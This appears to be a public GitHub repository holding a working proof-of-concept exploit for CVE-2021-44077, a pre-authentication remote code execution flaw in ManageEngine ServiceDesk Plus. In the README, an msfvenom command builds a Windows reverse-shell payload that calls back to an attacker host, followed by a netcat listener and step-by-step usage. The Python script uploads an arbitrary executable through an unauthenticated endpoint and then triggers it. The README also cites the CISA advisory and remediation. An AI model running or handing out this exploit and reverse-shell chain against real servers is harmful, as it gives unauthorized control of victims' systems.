├── .gitignore ├── README.md ├── exploit.py ├── proof.png └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | 116 | # Spyder project settings 117 | .spyderproject 118 | .spyproject 119 | 120 | # Rope project settings 121 | .ropeproject 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ 133 | 134 | # pytype static type analyzer 135 | .pytype/ 136 | 137 | # Cython debug symbols 138 | cython_debug/ 139 | 140 | # PyCharm 141 | # JetBrains specific template is maintainted in a separate JetBrains.gitignore that can 142 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 143 | # and can be added to the global gitignore or merged into this file. For a more nuclear 144 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 145 | #.idea/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-44077 2 | Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306 3 | 4 | Based on: 5 | - https://xz.aliyun.com/t/10631 6 | 7 | CISA Advisory: 8 | - https://www.cisa.gov/uscert/ncas/alerts/aa21-336a 9 | 10 | Remediation (Update to build 11306 or later): 11 | - https://www.manageengine.com/products/service-desk/security-response-plan.html 12 | 13 | Tested on ManageEngine ServiceDesk Plus Build 11303. Disabled all AV. 14 | 15 | ## Usage 16 | 17 | The exploit uploads a Windows executable to the target and executes it. 18 | 19 | To exploit, first generate any executable. For instance: 20 | 21 | ``` 22 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.140 LPORT=4444 -f exe > msiexec.exe 23 | ``` 24 | 25 | `pip install` the requirements file or make sure you've got the `requests` package. 26 | 27 | If you're trying to catch a reverse shell, run your listener first, e.g. 28 | 29 | ``` 30 | nc -l 4444 31 | ``` 32 | 33 | Then run the exploit script, passing in the `url` and `exe` arguments, e.g. 34 | 35 | ``` 36 | python exploit.py http://: 37 | ``` 38 | 39 | Example script output: 40 | 41 | ``` 42 | % python exploit.py http://192.168.0.140:8080 msiexec.exe 43 | [+] Target: http://192.168.0.140:8080/ 44 | [+] Executable: msiexec.exe 45 | [+] Uploading msiexec.exe to http://192.168.0.140:8080/RestAPI/ImportTechnicians?step=1 46 | [+] Got 401 error code on upload. This is expected. 47 | [+] Uploaded msiexec.exe 48 | [+] Attempting to invoke against url http://192.168.0.140:8080/./RestAPI/s247action. Waiting up to 20 seconds... 49 | [+] Done, did it work? 50 | ``` 51 | 52 | ![Proof](proof.png) 53 | 54 | 55 | ## Exploit Notes 56 | 57 | - The vulnerability you to upload any file to the install `bin` directory, including existing files such as batch scripts. There may be other ways to invoke the uploaded file. 58 | - Directly uploading a web shell seems to be prevented by a filter. 59 | 60 | ## Disclaimer 61 | 62 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from argparse import ArgumentParser 3 | from os.path import exists 4 | import sys 5 | import traceback 6 | 7 | def main(): 8 | try: 9 | parser = ArgumentParser(description='Exploit CVE-2021-44077: Pre-Auth RCE in ManageEngine ServiceDesk Plus < 11306') 10 | parser.add_argument('url', help='base url of ManageEngine ServiceDesk Plus install') 11 | parser.add_argument('exe', help='Path to exe file to upload and execute') 12 | args = parser.parse_args() 13 | 14 | exe = args.exe 15 | url = args.url.lower() 16 | 17 | if not (url.startswith('http://') or url.startswith('https://')): 18 | print(f'[-] Not a valid url: {args.url}') 19 | sys.exit(1) 20 | 21 | if not exists(exe): 22 | print(f'[-] File {exe} does not exist') 23 | sys.exit(1) 24 | 25 | if not url.endswith('/'): 26 | url = url + '/' 27 | 28 | print(f'[+] Target: {url}') 29 | print(f'[+] Executable: {exe}') 30 | 31 | upload_url = f'{url}RestAPI/ImportTechnicians?step=1' 32 | print(f'[+] Uploading {exe} to {upload_url}') 33 | 34 | with open(exe, 'rb') as f: 35 | r = requests.post(upload_url, files = {'theFile': ('msiexec.exe', f) }, verify=False, timeout=10) 36 | if r.status_code == 401: 37 | print(f'[+] Got 401 error code on upload. This is expected.') 38 | else: 39 | print(f'[-] Got unexpected error code on upload: {r.status_code}') 40 | 41 | execute_url = f'{url}./RestAPI/s247action' 42 | print(f'[+] Uploaded {exe}') 43 | print(f'[+] Attempting to invoke against url {execute_url}. Waiting up to 20 seconds...') 44 | r = requests.post(execute_url, data= {'execute':'s247AgentInstallationProcess'}, verify=False, timeout=20) 45 | print(f'[+] Done, did it work?') 46 | 47 | except Exception as e: 48 | if 'Read timed out' in str(e): 49 | print('[+] Done, did it work?') 50 | else: 51 | print(f'Unexpected error: {e}') 52 | traceback.print_exc() 53 | sys.exit(1) 54 | 55 | if __name__ == '__main__': 56 | main() 57 | -------------------------------------------------------------------------------- /proof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/horizon3ai/CVE-2021-44077/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/proof.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2021.10.8 2 | charset-normalizer==2.0.9 3 | idna==3.3 4 | requests==2.26.0 5 | urllib3==1.26.7 6 | --------------------------------------------------------------------------------